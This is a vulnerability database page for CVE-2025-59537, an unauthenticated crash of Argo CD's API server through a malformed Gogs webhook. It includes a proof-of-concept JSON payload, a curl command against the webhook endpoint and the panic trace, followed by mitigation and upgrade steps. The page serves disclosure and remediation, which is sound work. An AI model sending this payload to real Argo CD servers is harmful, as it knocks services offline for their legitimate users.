Skip to main content

CVE-2025-59537 — Vulnerability in argoproj/argo-cd/v3 — CVE Details

HIGH

argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload

Published September 30, 2025Updated October 23, 2025Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.80%). Schedule for your next planned update.

Does your project use an affected github.com/argoproj/argo-cd/v3 version?

Paste your go.sum to check it for CVE-2025-59537 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my go.sum

Summary

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}
curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28

Mitigation

If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.gogs.secret: <your base64-encoded secret here>

For more information

Credit

Sangjun Song (s0ngsari) at Theori (theori.io)

Advisory Timeline

  • First published September 30, 2025 (422 days ago).
  • Last revised October 23, 2025 — 23 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/argoproj/argo-cd/v3 to 3.1.8 or later
go get github.com/argoproj/argo-cd/v3@v3.1.8
Go
Update github.com/argoproj/argo-cd/v3 to 3.2.0-rc2 or later
go get github.com/argoproj/argo-cd/v3@v3.2.0-rc2
Go
Update github.com/argoproj/argo-cd/v3 to 3.0.19 or later
go get github.com/argoproj/argo-cd/v3@v3.0.19
Go
Update github.com/argoproj/argo-cd/v2 to 2.14.20 or later
go get github.com/argoproj/argo-cd/v2@v2.14.20

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (5)

Affects 1 ecosystem: Go (3).

PackageFixed In
github.com/argoproj/argo-cd/v3 Go · Affected: All versions3.1.8
github.com/argoproj/argo-cd/v3 Go · Affected: 3.2.0-rc13.2.0-rc2
github.com/argoproj/argo-cd/v3 Go · Affected: All versions3.0.19
github.com/argoproj/argo-cd Go · Affected: All versionsRange-based data available
github.com/argoproj/argo-cd/v2 Go · Affected: All versions2.14.20

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-20
    Improper Input ValidationMITRE
  • CWE-476
    NULL Pointer DereferenceMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Frequently Asked Questions

What is CVE-2025-59537?
argo-cd vulnerable unauthenticated DoS via malformed Gogs webhook payload. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
How do I check if my project is affected by CVE-2025-59537?
CVE-2025-59537 affects github.com/argoproj/argo-cd/v3, github.com/argoproj/argo-cd and github.com/argoproj/argo-cd/v2. It has a 0.8% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2025-59537 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.5

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.80%
EPSS percentile: 53.6

This is an above-median EPSS score — 53.6% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.

Also Known As

GHSA-wp4p-9pxh-cgx2
BIT-argo-cd-2025-59537
GO-2025-3996

Related CVEs

  • CVE-2025-47933

    Argo CD allows cross-site scripting on repositories page in github.com/argoproj/argo-cd

  • CVE-2025-55190

    Argo CD's Project API Token Exposes Repository Credentials in github.com/argoproj/argo-cd

  • CVE-2025-59531

    Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload in github.com/argoproj/argo-cd

  • CVE-2025-55191

    Repository Credentials Race Condition Crashes Argo CD Server in github.com/argoproj/argo-cd

  • CVE-2025-59538

    Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook in github.com/argoproj/argo-cd

  • CVE-2026-42880

    ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction in github.com/argoproj/argo-cd

  • CVE-2026-45738

    Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation in github.com/argoproj/argo-cd

  • CVE-2026-45737

    Argo CD: Kubernetes Secret Extraction via ArgoCD ServerSideDiff via sensitive annotations in github.com/argoproj/argo-cd

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my go.sum